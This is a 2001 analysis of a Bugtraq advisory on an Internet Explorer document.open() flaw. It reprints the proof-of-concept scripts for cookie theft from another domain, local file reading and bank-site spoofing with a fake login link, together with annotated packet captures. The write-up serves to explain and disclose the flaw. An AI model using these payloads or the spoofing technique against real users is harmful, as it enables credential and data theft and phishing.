Internet Explorer File Reading, Site Spoofing, Cookie Stealing Bug
================================================================
http://archives.neohapsis.com/archives/bugtraq/2001-12/0209.html
http://www.osioniusx.com/
"the Pull" has posted an advisory to Bugtraq concerning a flaw
in Internet Explorer that can allow a malicious website to read files
on a victim's system, steal cookies, and spoof site names. The
problem arises when the JavaScript document.open() call is
issued without a proper corresponding document.close().
The issues are investigated below with the help of example
exploits posted with the advisory.
Cookie Stealing:
==================
In this example, the victim views a page on a website and the
website is able to access any of the user's cookies (including
those set by other sites).
The cookie-stealing page contains a script that accomplishes the task.
------------
<script>
var y = document.open("http://www.yahoo.com", "x", "width=400,height=400,
status=yes, location = yes, resizable = yes, toolbar = yes" );
setTimeout('alert(y.document.cookie);y.close();',5000);
</script>
------------
In this experiment, we visited the cookie-stealing page and recorded
the network traffic. The traffic, with commentary, is given below.
First, we access the web page. The TCP segment below shows
the victim sending the page request to the evil.website.
12/20-11:33:00.283482 victim:1548 -> evil.website:80
GET /wiredgoddess/thepull/cookieStealing.html HTTP/1.1..
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*..
Referer: http://home.austin.rr.com/wiredgoddess/thepull/Frame-8.html..
Accept-Language: en-us..Accept-Encoding: gzip, deflate..User-
Agent: Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.0; Q312461)..
Host: home.austin.rr.com..Connection: Keep-Alive....
The server responds with the page containing the script, as expected:
12/20-11:33:00.423482 evil.website:80 -> victim:1548
HTTP/1.1 200 OK..Date: Thu, 20 Dec 2001 17:45:45 GMT..
Server: Apache/1.3.3 (Unix) FrontPage/4.0.4.3..
Last-Modified: Thu, 20 Dec 2001 03:24:10 GMT..
ETag: "f4afed-227-3c2159da"..
Accept-Ranges: bytes..Content-Length: 551..
Keep-Alive: timeout=10, max=100..
Connection: Keep-Alive..Content-Type: text/html....
<html>.<head>.<title>Cookie Stealing</title>.</head>.<body>.<P>
This page shows how this bug can be used to steal cookies. For
this example. I use yahoo.com and a five second timeout (wait
five seconds after the window. opens). Cookie stealing can
result in impersonation, stealing of Credit Card. numbers, etc.
<script>
var y = document.open( "http://www.yahoo.com", "x", "width=400,
height=400,status = yes, location = yes,resizable = yes, toolbar=yes" );
setTimeout('alert(y.document.cookie);y.close();',5000);
</script></P></html>..
Note that the script issues a document.open() with yahoo.com's URL
as an argument.
The victim machine then contacts yahoo.com per the script's instructions.
Note that the victim sends its yahoo.com cookie along with the page
request (see below).
12/20-11:33:01.003482 victim:1550 -> yahoo.com:80
GET / HTTP/1.1..
Accept: */*..Accept-Language: en-us..
Accept-Encoding: gzip, deflate..
User-Agent: Mozilla/4.0 (compatible;MSIE 6.0; Windows NT 5.0; Q312461)..
Host: www.yahoo.com..Connection: Keep-Alive..
Cookie: B=9kf30qktn4bcu&b=2&f=g....
Yahoo responds with its home page which opens in another browser window.
Five seconds later a popup appears which contains the yahoo.com cookie:
So what has happened? First, some background on the JavaScript functions
in use here.
Each browser window object has an attribute called "document". The
"document" refers to the actual HTML document being rendered in the window.
When a document.open() call is issued with the "width", "height", "status"
etc. paramaters, IE opens a new window for rendering the yahoo.com page just
as if a window.open() call had been made.
So, to exploit the flaw, the script issues the document.open(yahoo.com)
call, and sets a timer for five seconds. Five seconds is long enough for the
yahoo.com content to load. By the time the timer expires, the "document" of
interest has become a container for the new yahoo.com content. Thus, when
the script accesses the document's cookie attribute (document.cookie),
the value returned is the cookie for the currently loaded URL -- yahoo.com.
Note that in the example the attacking website chose to only display
the cookie back to the user via the alert() call. However, the important
point is that evil.website is in control here. The JavaScript could have
been just as easily written to do something different with the cookie values
(e.g. email to some address) rather than issuing the alert(). The JavaScript
sent by evil.website has access to the yahoo.com cookie values and can do
whatever it wants with the information.
Lets try another example.
File Reading:
=============
This time, the malicious web page contains the following script.
Can you guess what happens?
----------------
<script>
var y = document.open( "c:/test.txt", "x", "width=400, height=400,
status = yes, location = yes,resizable = yes, toolbar=yes" );
setTimeout('alert(y.document,innerHTML);y.close();',1000);
</script>
----------------
When we request the page:
12/20-11:53:16.743482 victim:1560 -> evil.website:80
GET /wiredgoddess/thepull/fileReading.html HTTP/1.1..
The server responds with the HTML containing the script:
12/20-11:53:16.863482 evil.website:80 -> victim:1560
HTTP/1.1 200 OK..Date: Thu, 20 Dec 2001 18:06:02 GMT..
Server: Apache/1.3.3 (Unix) FrontPage/4.0.4.3..
Last-Modified: Thu, 20 Dec 2001 03:24:11 GMT..
ETag: "f4aff5-1fd-3c2159db"..Accept-Ranges: bytes..
Content-Length: 509..Keep-Alive: timeout=10, max=100..
Connection: Keep-Alive..Content-Type: text/html....
<html>.<head>.<title>File Reading</title>.</head>.<body>..
This page shows local file reading with this bug. The file being
read is c:\test.txt. ..This could be used to gather various types
of passwords,and other localinformation you do not.want malicious,
remote users to have....
<script>
var y = document.open( "c:/test.txt", "x", "width=400,height=400,status = yes,
location = yes,resizable = yes, toolbar=yes" );
setTimeout('alert(y.document.body.innerHTML);y.close();',1000);
</script></html>
Immediately the contents of the victim's test.txt file are displayed
in another broswer window.
But after a short time an alert message appears showing the same
contents. Again the script writer has chosen simply to display the
"stealable" information via an alert message, but he could have chosen
just as easily to do something else. The script has access to content
it should not be able to read.
One more example ....
Site Spoofing:
================
The web page in this case contains the following script. The attacker's
objective is to make the victim *think* they are at a site that is
trusted (Chase Bank in the example). In reality, the victim is at a
page controlled by evil.website. If evil.website can trick the user
well enough, the user might type in their bank account access information,
for example. The workhorse script is given below.
---------------
<script>
s='<title>Chase</title>Chase Bank content could go here <br><br>
<a href=http://www.osioniusx.com/>LogOn To Your Bank Account</a>';
var y = document.open( "http://www.chase.com", "x", "status = yes,
location = yes, resizable = yes, toolbar=yes, directories=yes,menubar=yes" );
setTimeout('y.document.write(s);',500);
</script>
----------------
First we send the page request (in an actual attack, the victim
would be opening a page that is believed to be Chase Bank):
12/20-12:11:18.053482 victim:1186 -> evil.website:80
GET /wiredgoddess/thepull/SiteSpoofing.html HTTP/1.1..
The server responds with the page containing the script:
12/20-12:11:18.143482 evil.website:80 -> victim:1186
HTTP/1.1 200 OK..Date: Thu, 20 Dec 2001 18:24:03 GMT..
Server: Apache/1.3.3 (Unix) FrontPage/4.0.4.3..
Last-Modified: Thu, 20 Dec 2001 03:34:07 GMT..
ETag: "f4affc-19e-3c215c2f"..
Accept-Ranges: bytes..Content-Length: 414..
Keep-Alive: timeout=10, max=99..Connection: Keep-Alive..
Content-Type: text/html
<html>.<head>.<title>Web Site Spoofing</title>.</head>.<body>
<script>
s='<title>Chase</title>Chase Bank content could go here <br><br>
<a href=http://www.osioniusx.com/>LogOn To Your Bank Account</a>';
var y = document.open( "http://www.chase.com", "x",
"status = yes, location = yes,resizable = yes, toolbar=yes,
directories=yes,menubar=yes");.setTimeout('y.document.write(s);',500);
</script></html>
A short time later, the user sees (note the address in the host field!):
The sniffed traffic shows that the victim continues on to download the
true chase.com page, but the true Chase content is never displayed to
the user.
12/20-12:11:18.463482 victim:1191 -> www.chase.com:80
GET / HTTP/1.1..Accept: */*..Accept-Language: en-us..
12/20-12:11:18.533482 www.chase.com:80 -> victim:1191
HTTP/1.1 200 OK..Server: Netscape-Enterprise/3.6 SP3..Date: Thu, 20 Dec 2001 18:22:01 GMT.
RequestStartSec: 1008872520..RequestStartUsec:836351..Content-type: text/html.
Set-Cookie: uid_JPMorganChase=167.84.32.21:101321008872520:20553;
EXPIRES=Friday, 31-Dec-2010 23:59:59 GMT; DOMAIN=.chase.com;
PATH=/..Etag: "3838-15d-3c1ec18b"..
Last-modified: Tue, 18 Dec 2001 04:09:47 GMT.
Content-length: 349..Accept-ranges: bytes....
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">.
<HTML>..<HEAD>. <TITLE>Chase Home Page</TITLE>..
<SCRIPT>.<!--..top.document.location.replace("http://www.chase.com/pages/chase"). //
........ etc etc.
So what has happened this time? Looking back at the attacker's script we
see that the script issues a document.open() to the www.chase.com URL. The
browser prepares to receive the content and displays the Chase URL in the
host field. But when the timer expires, it is the attacker's content
("Chase Bank content could go here") that is written into the window
and displayed to the user.
The problem is that the malicious script opens a window to chase.com,
writes some content into the window, and never issues a document.close().
The document.close() call would force the real chase.com content to be
to the page. We can see that the real chase.com content has indeed
downloaded to the victim computer, but it is never displayed because the
close() call is never issued.
Note: These vulnerabilites could be exploited by a HTML-formatted email
message that carries the malicious JavaScript. Viewing such a message with
a vulnerable IE browser (such as would happen if the Outlook email client
were used) would execute the JavaScript ... perhaps spiriting away a user's
cookies or the contents of a local file. Similarly, the message could open
to display what appears to be a page served by a trusted site such as
Chase Bank.
Microsoft has been notified of the bug, but has not yet issued an
official response.
Helpful links:
http://hotwired.lycos.com/webmonkey/98/03/index3a_page11.html?tw=programming
http://www.webreference.com/js/tips/000531.html
http://msdn.microsoft.com/library/default.asp?url=/workshop/author/dhtml/reference/methods/open_1.asp
Note: The vulnerability has been confirmed on both IE 6.0 and
IE 5.5 SP2 so far. Also note that the site spoofing vulnerability
can be extended to display a false "https://" at the beginning
of a URL according to the Bugtraq posting linked below.
http://archives.neohapsis.com/archives/bugtraq/2001-12/0217.html
|
